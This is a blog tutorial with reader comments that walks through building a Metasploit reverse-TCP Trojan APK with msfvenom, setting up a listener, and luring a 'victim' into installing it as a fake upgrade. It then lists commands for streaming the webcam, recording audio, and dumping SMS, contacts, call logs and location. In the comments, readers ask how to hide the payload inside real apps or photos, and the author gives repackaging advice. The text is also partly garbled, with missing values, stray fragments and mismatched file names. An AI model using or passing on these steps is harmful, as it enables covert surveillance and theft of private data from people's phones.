Exploit Android Using Kali Linux

This is a tutorial explaining how to hack android phones with Kali Linux
android Metasploit Tutorial
YouTube Video Tutorial : Hack android phone and control webcam
Step 1: Fire-Up Kali:
Open a terminal, and make a Trojan .apk You can do this by typing :
msfvenom -p android/meterpreter/reverse_tcp
LPORT=6227 R > andi.apk

LHOST= ( Change the IP with your own IP address ) To find your own IP type  in terminal

LPORT=6227 ( you can chose any port you want but make sure it's not used )
You can also hack android on WAN i.e. through Internet by using your Public/External IP in the LHOST and by port forwarding
msfvenom -p android
Step 2: Open Another Terminal:
Open another terminal while the apk file is being produced.
start metasploit console, by typing :


Step 3: Set-Up a Listener:
After it loads(it will take some time), load the multi-handler exploit by typing :
use exploit/multi/handler

Set up a (reverse) payload by typing :
set payload android/meterpreter/reverse_tcp

To set L host & L Port type :

set LPORT 6227

(Even if you are hacking on WAN type your private/internal IP here not the public/external)
set payload android
Step 4: Exploit!
to start the listener type:

Copy the application that you made (adri.apk) from the root folder to you android phone.
or send it to the victim using Uploading services like Dropbox or any sharing website you may like.
Let the Victim install the andri app(as he would think it is meant to upgrade some features on his phone)
However, the option of allowance for Installation of apps from Unknown Sources should be enabled (if not) from the security settings of the android phone to allow the Trojan to install.
And when the victim install your app >>>
exploit android
Step 5: have fun !
Type help to get a list of the available commend :

android hacking commands
and lets say we typed webcam_stream
There comes the Meterpreter prompt:
android webcam_stream
here is a list of all the commands
[content title="File system"]
Command       Description
    -------       -----------
    cat                 Read the contents of a file to the screen
    cd                  Change directory
    checksum      Retrieve the checksum of a file
    dir                  List files (alias for ls)
    download      Download a file or directory
    edit               Edit a file
    getlwd          Print local working directory
    getwd           Print working directory
    lcd              Change local working directory
    lpwd            Print local working directory
    ls                 List files
    mkdir          Make directory
    mv              Move source to destination
    pwd            Print working directory
    rm              Delete the specified file
    rmdir          Remove directory
    search        Search for files
    upload        Upload a file or directory
[content title="Networking"]
    Command       Description
    -------       -----------
    ifconfig       Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route           View and modify the routing table
[content title="System"]
 Command       Description
    -------       -----------
    execute        Execute a command
    getuid          Get the user that the server is running as
    localtime     Displays the target system's local date and time
    ps                List running processes
    shell            Drop into a system command shell
    sysinfo        Gets information about the remote system, such as OS
[content title="Webcam"]
Command        Description
    -------        -----------
    record_mic          Record audio from the default microphone for X seconds
    webcam_chat       Start a video chat
    webcam_list        List webcams
    webcam_snap     Take a snapshot from the specified webcam
    webcam_stream   Play a video stream from the specified webcam

[content title="Android"]
   Command           Description
    -------           -----------
    activity_start         Start an Android activity from a Uri string
    check_root            Check if device is rooted
    dump_calllog        Get call log
    dump_contacts      Get contacts list
    dump_sms             Get sms messages
    geolocate                Get current lat-long using geolocation
    hide_app_icon        Hide the app icon from the launcher
    interval_collect      Manage interval collection capabilities
    send_sms               Sends SMS from target session
    set_audio_mode     Set Ringer Mode
    sqlite_query           Query a SQLite database from storage
    wlan_geolocate    Get current lat-long using WLAN information
[warning title="Warning message" icon="exclamation-triangle"]
This article is only for education purpose . Aim of these article is that how can secure cctv cameras using strong passwords. Do not use for criminal or another black art purpose. I am not responsible for that.
August 3, 2015


  1. how to bind upgrader.apk to a real application. So that when the user downloads the app, it seems like a real app and thus does not create any doubt in the user mind?

    1. for that you need to decompress the real app apk file and add your own codes for spying and make the new apk look like an upgrade ...
      you what you really need is android programming

  2. Hello bro thanks for this tutorial but i need help please can u help me this was a great post now my problem is that now i know how to control my phone as per this post but the thing is now i want to know how to control my phone when it is using other network like my phone sim data .. Network so how should i do it please bro can u make a new tutorial explaining this perfectly i mean explaining how to control android when it is on other network please it is my request to u

    1. i will try to make a tutorial for that ... need sometime

  3. Hi Bro,
    I created exploit file on kali linux 2016.1
    And then send it through sharing websites then I installed it on my android phone and I didn't get meterpreter ccommand . I can show u that problems by connecting to u r pC using team viewer.

    1. your phone and your computer must be in the same network . or you need to use a public IP for your computer

  4. I appreciate ur answers ihave tried this
    for over 5m on the tried and failed tried and failed then I Google but nothing I found

  5. why you set 2 different payload at the first you set up for android and the second is for windows ?

  6. hi brother;wanna know please how to How to join and attach the apk with a photo or video or siteweb in order to send it to my android

  7. hi brother please tell me how to attach and join the apk with a photo or video or any website in order to send it to my android as photo for exemple; thank for your answer

  8. As i like this article.Thanks for sharing it.I am quit basic in this.but what or which app we send to the victim so that we can gather info for our listener port.

  9. everything is fine at last ..my apk is blind with msf...all set but when i enter dump_callog or anyother command it give me a error operation failed 1
    plz help me!!!

    1. got the same error and coudnt find any soloution

  10. hi. thanks for this tutorial. why does not install on android phone?

    1. make sure to let your phone install app from unknown source

  11. I tried to run this, but it was error (2020.1)

    meterpreter> webcam_snap
    [*] Starting ...
    [*] Stopped
    [-] webcam_start: Operation failed: 1


Post a Comment


Popular Posts

USB WiFi adapters that support monitor mode and wireless injection

usb wifi adapter with monitor mode and wireless injection (100% compatibl…

how to update Kali Linux and Fix update error

Kali Linux one of the best Linux distro for penetration testing it's freq…

Fix Kali Linux sources.list Repositories

Fix default repository First after installing a clean Kali Linux the sou…

Recent Comments

Contact Me